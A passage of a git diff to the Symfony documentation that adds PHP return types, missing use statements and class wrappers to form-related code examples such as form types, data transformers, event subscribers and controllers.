@@ -177,7 +177,7 @@ method::
             ;
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // when creating a new color, the initial data should be null
             $resolver->setDefault('empty_data', null);
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index 4a087a0aaff..aa0e88789bf 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -40,12 +40,12 @@ Suppose you have a Task form with a tags ``text`` type::
     // ...
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('tags', TextType::class);
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Task::class,
@@ -72,7 +72,7 @@ class::
 
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('tags', TextType::class);
 
@@ -136,7 +136,7 @@ Start by setting up the text field like normal::
     // ...
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('description', TextareaType::class)
@@ -144,7 +144,7 @@ Start by setting up the text field like normal::
             ;
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Task::class,
@@ -188,9 +188,8 @@ to and from the issue number and the ``Issue`` object::
          * Transforms an object (issue) to a string (number).
          *
          * @param  Issue|null $issue
-         * @return string
          */
-        public function transform($issue)
+        public function transform($issue): string
         {
             if (null === $issue) {
                 return '';
@@ -203,10 +202,9 @@ to and from the issue number and the ``Issue`` object::
          * Transforms a string (number) to an object (issue).
          *
          * @param  string $issueNumber
-         * @return Issue|null
          * @throws TransformationFailedException if object (issue) is not found.
          */
-        public function reverseTransform($issueNumber)
+        public function reverseTransform($issueNumber): ?Issue
         {
             // no issue number? It's optional, so that's ok
             if (!$issueNumber) {
@@ -273,7 +271,7 @@ and type-hint the new class::
             $this->transformer = $transformer;
         }
 
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('description', TextareaType::class)
@@ -306,7 +304,7 @@ end-user error message in the data transformer using the
     {
         // ...
 
-        public function reverseTransform($issueNumber)
+        public function reverseTransform($issueNumber): ?Issue
         {
             // ...
 
@@ -394,19 +392,19 @@ First, create the custom field type class::
             $this->transformer = $transformer;
         }
 
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->addModelTransformer($this->transformer);
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'invalid_message' => 'The selected issue does not exist',
             ]);
         }
 
-        public function getParent()
+        public function getParent(): string
         {
             return TextType::class;
         }
@@ -427,7 +425,7 @@ As long as you're using :ref:`autowire <services-autowire>` and
 
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('description', TextareaType::class)
diff --git a/form/direct_submit.rst b/form/direct_submit.rst
index ef6897611ad..876ad3964b1 100644
--- a/form/direct_submit.rst
+++ b/form/direct_submit.rst
@@ -11,9 +11,10 @@ to detect when the form has been submitted. However, you can also use the
 control over when exactly your form is submitted and what data is passed to it::
 
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     // ...
 
-    public function new(Request $request)
+    public function new(Request $request): Response
     {
         $task = new Task();
         $form = $this->createForm(TaskType::class, $task);
diff --git a/form/disabling_validation.rst b/form/disabling_validation.rst
index f23cc73dbbf..2844d0c865d 100644
--- a/form/disabling_validation.rst
+++ b/form/disabling_validation.rst
@@ -9,7 +9,7 @@ these cases you can set the ``validation_groups`` option to ``false``::
 
     use Symfony\Component\OptionsResolver\OptionsResolver;
 
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             'validation_groups' => false,
diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 69339480248..279b5b4118d 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -45,13 +45,13 @@ a bare form class looks like::
 
     class ProductType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('name');
             $builder->add('price');
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Product::class,
@@ -92,7 +92,7 @@ creating that particular field is delegated to an event listener::
 
     class ProductType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('price');
 
@@ -109,7 +109,7 @@ object is new (e.g. hasn't been persisted to the database). Based on that,
 the event listener might look like the following::
 
     // ...
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
         $builder->addEventListener(FormEvents::PRE_SET_DATA, function (FormEvent $event) {
@@ -151,14 +151,14 @@ you can also move the logic for creating the ``name`` field to an
 
     class AddNameFieldSubscriber implements EventSubscriberInterface
     {
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             // Tells the dispatcher that you want to listen on the form.pre_set_data
             // event and that the preSetData method should be called.
             return [FormEvents::PRE_SET_DATA => 'preSetData'];
         }
 
-        public function preSetData(FormEvent $event)
+        public function preSetData(FormEvent $event): void
         {
             $product = $event->getData();
             $form = $event->getForm();
@@ -179,7 +179,7 @@ Great! Now use that in your form class::
 
     class ProductType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('price');
 
@@ -217,7 +217,7 @@ Using an event listener, your form might look like this::
 
     class FriendMessageFormType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('subject', TextType::class)
@@ -274,7 +274,7 @@ security helper to fill in the listener logic::
             $this->security = $security;
         }
 
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('subject', TextType::class)
@@ -337,10 +337,12 @@ and :doc:`tag it </service_container/tags>` with the ``form.type`` tag.
 In a controller, create the form like normal::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
 
     class FriendMessageController extends AbstractController
     {
-        public function new(Request $request)
+        public function new(Request $request): Response
         {
             $form = $this->createForm(FriendMessageFormType::class);
 
@@ -351,7 +353,7 @@ In a controller, create the form like normal::
 You can also  embed the form type into another form::
 
     // inside some other "form type" class
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         $builder->add('message', FriendMessageFormType::class);
     }
@@ -384,7 +386,7 @@ sport like this::
 
     class SportMeetupType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('sport', EntityType::class, [
@@ -448,7 +450,7 @@ The type would now look like::
 
     class SportMeetupType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('sport', EntityType::class, [
@@ -515,11 +517,12 @@ your application. Assume that you have a sport meetup creation controller::
     use App\Form\Type\SportMeetupType;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     // ...
 
     class MeetupController extends AbstractController
     {
-        public function create(Request $request)
+        public function create(Request $request): Response
         {
             $meetup = new SportMeetup();
             $form = $this->createForm(SportMeetupType::class, $meetup);
diff --git a/form/embedded.rst b/form/embedded.rst
index 9da8104b143..787580a41d1 100644
--- a/form/embedded.rst
+++ b/form/embedded.rst
@@ -46,12 +46,12 @@ Next, add a new ``category`` property to the ``Task`` class::
 
         // ...
 
-        public function getCategory()
+        public function getCategory(): ?Category
         {
             return $this->category;
         }
 
-        public function setCategory(Category $category = null)
+        public function setCategory(?Category $category)
         {
             $this->category = $category;
         }
@@ -76,12 +76,12 @@ create a form class so that a ``Category`` object can be modified by the user::
 
     class CategoryType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('name');
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Category::class,
@@ -97,7 +97,7 @@ class::
     use App\Form\CategoryType;
     use Symfony\Component\Form\FormBuilderInterface;
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
 
diff --git a/form/events.rst b/form/events.rst
index 5620ec96f46..0f2e26e2775 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -308,7 +308,7 @@ callback for better readability::
     // ...
     class SubscriptionType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('username', TextType::class)
@@ -320,7 +320,7 @@ callback for better readability::
             ;
         }
 
-        public function onPreSetData(FormEvent $event)
+        public function onPreSetData(FormEvent $event): void
         {
             // ...
         }
@@ -347,7 +347,7 @@ Consider the following example of a form event subscriber::
 
     class AddEmailFieldListener implements EventSubscriberInterface
     {
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 FormEvents::PRE_SET_DATA => 'onPreSetData',
@@ -355,7 +355,7 @@ Consider the following example of a form event subscriber::
             ];
         }
 
-        public function onPreSetData(FormEvent $event)
+        public function onPreSetData(FormEvent $event): void
         {
             $user = $event->getData();
             $form = $event->getForm();
@@ -367,7 +367,7 @@ Consider the following example of a form event subscriber::
             }
         }
 
-        public function onPreSubmit(FormEvent $event)
+        public function onPreSubmit(FormEvent $event): void
         {
             $user = $event->getData();
             $form = $event->getForm();
diff --git a/form/form_collections.rst b/form/form_collections.rst
index 405ffed53e4..cd1f66a7a8f 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -15,6 +15,7 @@ Let's start by creating a ``Task`` entity::
     namespace App\Entity;
 
     use Doctrine\Common\Collections\ArrayCollection;
+    use Doctrine\Common\Collections\Collection;
 
     class Task
     {
@@ -26,17 +27,17 @@ Let's start by creating a ``Task`` entity::
             $this->tags = new ArrayCollection();
         }
 
-        public function getDescription()
+        public function getDescription(): string
         {
             return $this->description;
         }
 
-        public function setDescription($description)
+        public function setDescription(string $description): void
         {
             $this->description = $description;
         }
 
-        public function getTags()
+        public function getTags(): Collection
         {
             return $this->tags;
         }
@@ -58,12 +59,12 @@ objects::
     {
         private $name;
 
-        public function getName()
+        public function getName(): string
         {
             return $this->name;
         }
 
-        public function setName($name)
+        public function setName(string $name): void
         {
             $this->name = $name;
         }
@@ -81,12 +82,12 @@ Then, create a form class so that a ``Tag`` object can be modified by the user::
 
     class TagType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('name');
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Tag::class,
@@ -110,7 +111,7 @@ inside the task form itself::
 
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder->add('description');
 
@@ -120,7 +121,7 @@ inside the task form itself::
             ]);
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Task::class,
@@ -138,10 +139,11 @@ In your controller, you'll create a new form from the ``TaskType``::
     use App\Form\TaskType;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
 
     class TaskController extends AbstractController
     {
-        public function new(Request $request)
+        public function new(Request $request): Response
         {
             $task = new Task();
 
@@ -224,7 +226,7 @@ it will receive an *unknown* number of tags. Otherwise, you'll see a
 
     // ...
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
 
@@ -367,12 +369,12 @@ for the tags in the ``Task`` class::
     {
         // ...
 
-        public function addTag(Tag $tag)
+        public function addTag(Tag $tag): void
         {
             $this->tags->add($tag);
         }
 
-        public function removeTag(Tag $tag)
+        public function removeTag(Tag $tag): void
         {
             // ...
         }
@@ -383,7 +385,7 @@ Next, add a ``by_reference`` option to the ``tags`` field and set it to ``false`
     // src/Form/TaskType.php
 
     // ...
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
 
@@ -484,7 +486,7 @@ you will learn about next!).
         // src/Entity/Task.php
 
         // ...
-        public function addTag(Tag $tag)
+        public function addTag(Tag $tag): void
         {
             // for a many-to-many association:
             $tag->addTask($this);
@@ -501,7 +503,7 @@ you will learn about next!).
         // src/Entity/Tag.php
 
         // ...
-        public function addTask(Task $task)
+        public function addTask(Task $task): void
         {
             if (!$this->tasks->contains($task)) {
                 $this->tasks->add($task);
@@ -521,7 +523,7 @@ Start by adding the ``allow_delete`` option in the form Type::
     // src/Form/TaskType.php
 
     // ...
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
 
@@ -540,7 +542,7 @@ Now, you need to put some code into the ``removeTag()`` method of ``Task``::
     {
         // ...
 
-        public function removeTag(Tag $tag)
+        public function removeTag(Tag $tag): void
         {
             $this->tags->removeElement($tag);
         }
@@ -617,52 +619,56 @@ the relationship between the removed ``Tag`` and ``Task`` object.
     is handling the "update" of your Task::
 
         // src/Controller/TaskController.php
+
+        // ...
         use App\Entity\Task;
         use Doctrine\Common\Collections\ArrayCollection;
 
-        // ...
-        public function edit($id, Request $request, EntityManagerInterface $entityManager)
+        class TaskController extends AbstractController
         {
-            if (null === $task = $entityManager->getRepository(Task::class)->find($id)) {
-                throw $this->createNotFoundException('No task found for id '.$id);
-            }
+            public function edit($id, Request $request, EntityManagerInterface $entityManager): Response
+            {
+                if (null === $task = $entityManager->getRepository(Task::class)->find($id)) {
+                    throw $this->createNotFoundException('No task found for id '.$id);
+                }
 
-            $originalTags = new ArrayCollection();
+                $originalTags = new ArrayCollection();
 
-            // Create an ArrayCollection of the current Tag objects in the database
-            foreach ($task->getTags() as $tag) {
-                $originalTags->add($tag);
-            }
+                // Create an ArrayCollection of the current Tag objects in the database
+                foreach ($task->getTags() as $tag) {
+                    $originalTags->add($tag);
+                }
 
-            $editForm = $this->createForm(TaskType::class, $task);
+                $editForm = $this->createForm(TaskType::class, $task);
 
-            $editForm->handleRequest($request);
+                $editForm->handleRequest($request);
 
-            if ($editForm->isSubmitted() && $editForm->isValid()) {
-                // remove the relationship between the tag and the Task
-                foreach ($originalTags as $tag) {
-                    if (false === $task->getTags()->contains($tag)) {
-                        // remove the Task from the Tag
-                        $tag->getTasks()->removeElement($task);
+                if ($editForm->isSubmitted() && $editForm->isValid()) {
+                    // remove the relationship between the tag and the Task
+                    foreach ($originalTags as $tag) {
+                        if (false === $task->getTags()->contains($tag)) {
+                            // remove the Task from the Tag
+                            $tag->getTasks()->removeElement($task);
 
-                        // if it was a many-to-one relationship, remove the relationship like this
-                        // $tag->setTask(null);
+                            // if it was a many-to-one relationship, remove the relationship like this
+                            // $tag->setTask(null);
 
-                        $entityManager->persist($tag);
+                            $entityManager->persist($tag);
 
-                        // if you wanted to delete the Tag entirely, you can also do that
-                        // $entityManager->remove($tag);
+                            // if you wanted to delete the Tag entirely, you can also do that
+                            // $entityManager->remove($tag);
+                        }
                     }
-                }
 
-                $entityManager->persist($task);
-                $entityManager->flush();
+                    $entityManager->persist($task);
+                    $entityManager->flush();
 
-                // redirect back to some edit page
-                return $this->redirectToRoute('task_edit', ['id' => $id]);
-            }
+                    // redirect back to some edit page
+                    return $this->redirectToRoute('task_edit', ['id' => $id]);
+                }
 
-            // render some form template
+                // ... render some form template
+            }
         }
 
     As you can see, adding and removing the elements correctly can be tricky.
diff --git a/form/form_themes.rst b/form/form_themes.rst
index 3811b042c28..1b5a3594a2d 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -266,7 +266,7 @@ form. You can also define this value explicitly with the ``block_name`` option::
     use Symfony\Component\Form\Extension\Core\Type\TextType;
     use Symfony\Component\Form\FormBuilderInterface;
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
 
@@ -290,7 +290,7 @@ field without having to :doc:`create a custom form type </form/create_custom_fie
     use Symfony\Component\Form\Extension\Core\Type\TextType;
     use Symfony\Component\Form\FormBuilderInterface;
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         $builder->add('name', TextType::class, [
             'block_prefix' => 'wrapped_text',
@@ -316,7 +316,7 @@ following complex example where a ``TaskManagerType`` has a collection of
 
     class TaskManagerType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options = [])
+        public function buildForm(FormBuilderInterface $builder, array $options = []): void
         {
             // ...
             $builder->add('taskLists', CollectionType::class, [
@@ -328,7 +328,7 @@ following complex example where a ``TaskManagerType`` has a collection of
 
     class TaskListType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options = [])
+        public function buildForm(FormBuilderInterface $builder, array $options = []): void
         {
             // ...
             $builder->add('tasks', CollectionType::class, [
@@ -339,7 +339,7 @@ following complex example where a ``TaskManagerType`` has a collection of
 
     class TaskType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options = [])
+        public function buildForm(FormBuilderInterface $builder, array $options = []): void
         {
             $builder->add('name');
             // ...
diff --git a/form/inherit_data_option.rst b/form/inherit_data_option.rst
index 3321ab2153a..f4161a21111 100644
--- a/form/inherit_data_option.rst
+++ b/form/inherit_data_option.rst
@@ -52,7 +52,7 @@ Start with building two forms for these entities, ``CompanyType`` and ``Customer
 
     class CompanyType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('name', TextType::class)
@@ -71,7 +71,7 @@ Start with building two forms for these entities, ``CompanyType`` and ``Customer
 
     class CustomerType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('firstName', TextType::class)
@@ -94,7 +94,7 @@ for that::
 
     class LocationType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('address', TextareaType::class)
@@ -103,7 +103,7 @@ for that::
                 ->add('country', TextType::class);
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'inherit_data' => true,
@@ -131,7 +131,7 @@ Finally, make this work by adding the location form to your two original forms::
     use App\Entity\Company;
     // ...
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
 
@@ -148,7 +148,7 @@ Finally, make this work by adding the location form to your two original forms::
     use App\Entity\Customer;
     // ...
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         // ...
 
diff --git a/form/type_guesser.rst b/form/type_guesser.rst
index f990aad4115..49488e524ba 100644
--- a/form/type_guesser.rst
+++ b/form/type_guesser.rst
@@ -40,22 +40,24 @@ Start by creating the class and these methods. Next, you'll learn how to fill ea
     namespace App\Form\TypeGuesser;
 
     use Symfony\Component\Form\FormTypeGuesserInterface;
+    use Symfony\Component\Form\Guess\TypeGuess;
+    use Symfony\Component\Form\Guess\ValueGuess;
 
     class PHPDocTypeGuesser implements FormTypeGuesserInterface
     {
-        public function guessType($class, $property)
+        public function guessType($class, $property): ?TypeGuess
         {
         }
 
-        public function guessRequired($class, $property)
+        public function guessRequired($class, $property): ?ValueGuess
         {
         }
 
-        public function guessMaxLength($class, $property)
+        public function guessMaxLength($class, $property): ?ValueGuess
         {
         }
 
-        public function guessPattern($class, $property)
+        public function guessPattern($class, $property): ?ValueGuess
         {
         }
     }
@@ -94,7 +96,7 @@ With this knowledge, you can implement the ``guessType()`` method of the
 
     class PHPDocTypeGuesser implements FormTypeGuesserInterface
     {
-        public function guessType($class, $property)
+        public function guessType($class, $property): ?TypeGuess
         {
             $annotations = $this->readPhpDocAnnotations($class, $property);
 
@@ -129,7 +131,7 @@ With this knowledge, you can implement the ``guessType()`` method of the
             }
         }
 
-        protected function readPhpDocAnnotations($class, $property)
+        protected function readPhpDocAnnotations(string $class, string $property): array
         {
             $reflectionProperty = new \ReflectionProperty($class, $property);
             $phpdoc = $reflectionProperty->getDocComment();
diff --git a/form/use_empty_data.rst b/form/use_empty_data.rst
index 6a567286094..c2cba15ad7f 100644
--- a/form/use_empty_data.rst
+++ b/form/use_empty_data.rst
@@ -9,7 +9,7 @@ form class. This empty data set would be used if you submit your form, but
 haven't called ``setData()`` on your form or passed in data when you created
 your form. For example, in a controller::
 
-    public function index()
+    public function index(): Response
     {
         $blog = ...;
 
@@ -61,7 +61,7 @@ that constructor with no arguments::
         }
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'empty_data' => new Blog($this->someDependency),
@@ -96,7 +96,7 @@ The closure must accept a ``FormInterface`` instance as the first argument::
     use Symfony\Component\OptionsResolver\OptionsResolver;
     // ...
 
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             'empty_data' => function (FormInterface $form) {
diff --git a/form/validation_group_service_resolver.rst b/form/validation_group_service_resolver.rst
index e497a7556df..ad741fbdb3a 100644
--- a/form/validation_group_service_resolver.rst
+++ b/form/validation_group_service_resolver.rst
@@ -23,11 +23,7 @@ parameter::
             $this->service2 = $service2;
         }
 
-        /**
-         * @param FormInterface $form
-         * @return array
-         */
-        public function __invoke(FormInterface $form)
+        public function __invoke(FormInterface $form): array
         {
             $groups = [];
 
@@ -56,7 +52,7 @@ Then in your form, inject the resolver and set it as the ``validation_groups``::
         }
 
         // ...
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'validation_groups' => $this->groupResolver,
diff --git a/form/validation_groups.rst b/form/validation_groups.rst
index 2dfe2889de9..a215ed02aba 100644
--- a/form/validation_groups.rst
+++ b/form/validation_groups.rst
@@ -20,7 +20,7 @@ following to the ``configureOptions()`` method::
 
     use Symfony\Component\OptionsResolver\OptionsResolver;
 
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             // ...
diff --git a/form/without_class.rst b/form/without_class.rst
index 50efc1dbcc7..85838d77ce9 100644
--- a/form/without_class.rst
+++ b/form/without_class.rst
@@ -12,28 +12,35 @@ But sometimes, you may want to use a form without a class, and get back an
 array of the submitted data. The ``getData()`` method allows you to do
 exactly that::
 
-    // make sure you've imported the Request namespace above the class
+    // src/Controller/ContactController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     // ...
 
-    public function contact(Request $request)
+    class ContactController extends AbstractController
     {
-        $defaultData = ['message' => 'Type your message here'];
-        $form = $this->createFormBuilder($defaultData)
-            ->add('name', TextType::class)
-            ->add('email', EmailType::class)
-            ->add('message', TextareaType::class)
-            ->add('send', SubmitType::class)
-            ->getForm();
-
-        $form->handleRequest($request);
-
-        if ($form->isSubmitted() && $form->isValid()) {
-            // data is an array with "name", "email", and "message" keys
-            $data = $form->getData();
+        public function contact(Request $request): Response
+        {
+            $defaultData = ['message' => 'Type your message here'];
+            $form = $this->createFormBuilder($defaultData)
+                ->add('name', TextType::class)
+                ->add('email', EmailType::class)
+                ->add('message', TextareaType::class)
+                ->add('send', SubmitType::class)
+                ->getForm();
+
+            $form->handleRequest($request);
+
+            if ($form->isSubmitted() && $form->isValid()) {
+                // data is an array with "name", "email", and "message" keys
+                $data = $form->getData();
+            }
+
+            // ... render the form
         }
-
-        // ... render the form
     }
 
 By default, a form actually assumes that you want to work with arrays of
@@ -85,7 +92,7 @@ but here's a short example::
     use Symfony\Component\Validator\Constraints\Length;
     use Symfony\Component\Validator\Constraints\NotBlank;
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         $builder
             ->add('firstName', TextType::class, [
diff --git a/forms.rst b/forms.rst
index 6923660a016..12013e8fbfc 100644
--- a/forms.rst
+++ b/forms.rst
@@ -49,22 +49,22 @@ following ``Task`` class::
         protected $task;
         protected $dueDate;
 
-        public function getTask()
+        public function getTask(): string
         {
             return $this->task;
         }
 
-        public function setTask($task)
+        public function setTask(string $task): void
         {
             $this->task = $task;
         }
 
-        public function getDueDate()
+        public function getDueDate(): ?\DateTime
         {
             return $this->dueDate;
         }
 
-        public function setDueDate(\DateTime $dueDate = null)
+        public function setDueDate(?\DateTime $dueDate): void
         {
             $this->dueDate = $dueDate;
         }
@@ -122,10 +122,11 @@ use the ``createFormBuilder()`` helper::
     use Symfony\Component\Form\Extension\Core\Type\SubmitType;
     use Symfony\Component\Form\Extension\Core\Type\TextType;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
 
     class TaskController extends AbstractController
     {
-        public function new(Request $request)
+        public function new(Request $request): Response
         {
             // creates a task object and initializes some data for this example
             $task = new Task();
@@ -178,7 +179,7 @@ implements the interface and provides some utilities::
 
     class TaskType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('task', TextType::class)
@@ -206,7 +207,7 @@ use the ``createForm()`` helper (otherwise, use the ``create()`` method of the
 
     class TaskController extends AbstractController
     {
-        public function new()
+        public function new(): Response
         {
             // creates a task object and initializes some data for this example
             $task = new Task();
@@ -241,7 +242,7 @@ the ``data_class`` option by adding the following to your form type class::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class' => Task::class,
@@ -265,10 +266,11 @@ to build another object with the visual representation of the form::
     use App\Form\Type\TaskType;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
 
     class TaskController extends AbstractController
     {
-        public function new(Request $request)
+        public function new(Request $request): Response
         {
             $task = new Task();
             // ...
@@ -374,34 +376,39 @@ Processing a form means to translate user-submitted data back to the properties
 of an object. To make this happen, the submitted data from the user must be
 written into the form object::
 
+    // src/Controller/TaskController.php
+
     // ...
     use Symfony\Component\HttpFoundation\Request;
 
-    public function new(Request $request)
+    class TaskController extends AbstractController
     {
-        // just setup a fresh $task object (remove the example data)
-        $task = new Task();
+        public function new(Request $request): Response
+        {
+            // just setup a fresh $task object (remove the example data)
+            $task = new Task();
 
-        $form = $this->createForm(TaskType::class, $task);
+            $form = $this->createForm(TaskType::class, $task);
 
-        $form->handleRequest($request);
-        if ($form->isSubmitted() && $form->isValid()) {
-            // $form->getData() holds the submitted values
-            // but, the original `$task` variable has also been updated
-            $task = $form->getData();
+            $form->handleRequest($request);
+            if ($form->isSubmitted() && $form->isValid()) {
+                // $form->getData() holds the submitted values
+                // but, the original `$task` variable has also been updated
+                $task = $form->getData();
 
-            // ... perform some action, such as saving the task to the database
-            // for example, if Task is a Doctrine entity, save it!
-            // $entityManager = $this->getDoctrine()->getManager();
-            // $entityManager->persist($task);
-            // $entityManager->flush();
+                // ... perform some action, such as saving the task to the database
+                // for example, if Task is a Doctrine entity, save it!
+                // $entityManager = $this->getDoctrine()->getManager();
+                // $entityManager->persist($task);
+                // $entityManager->flush();
 
-            return $this->redirectToRoute('task_success');
-        }
+                return $this->redirectToRoute('task_success');
+            }
 
-        return $this->render('task/new.html.twig', [
-            'form' => $form->createView(),
-        ]);
+            return $this->render('task/new.html.twig', [
+                'form' => $form->createView(),
+            ]);
+        }
     }
 
 This controller follows a common pattern for handling forms and has three
@@ -534,7 +541,7 @@ object.
         {
             // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('task', new NotBlank());
 
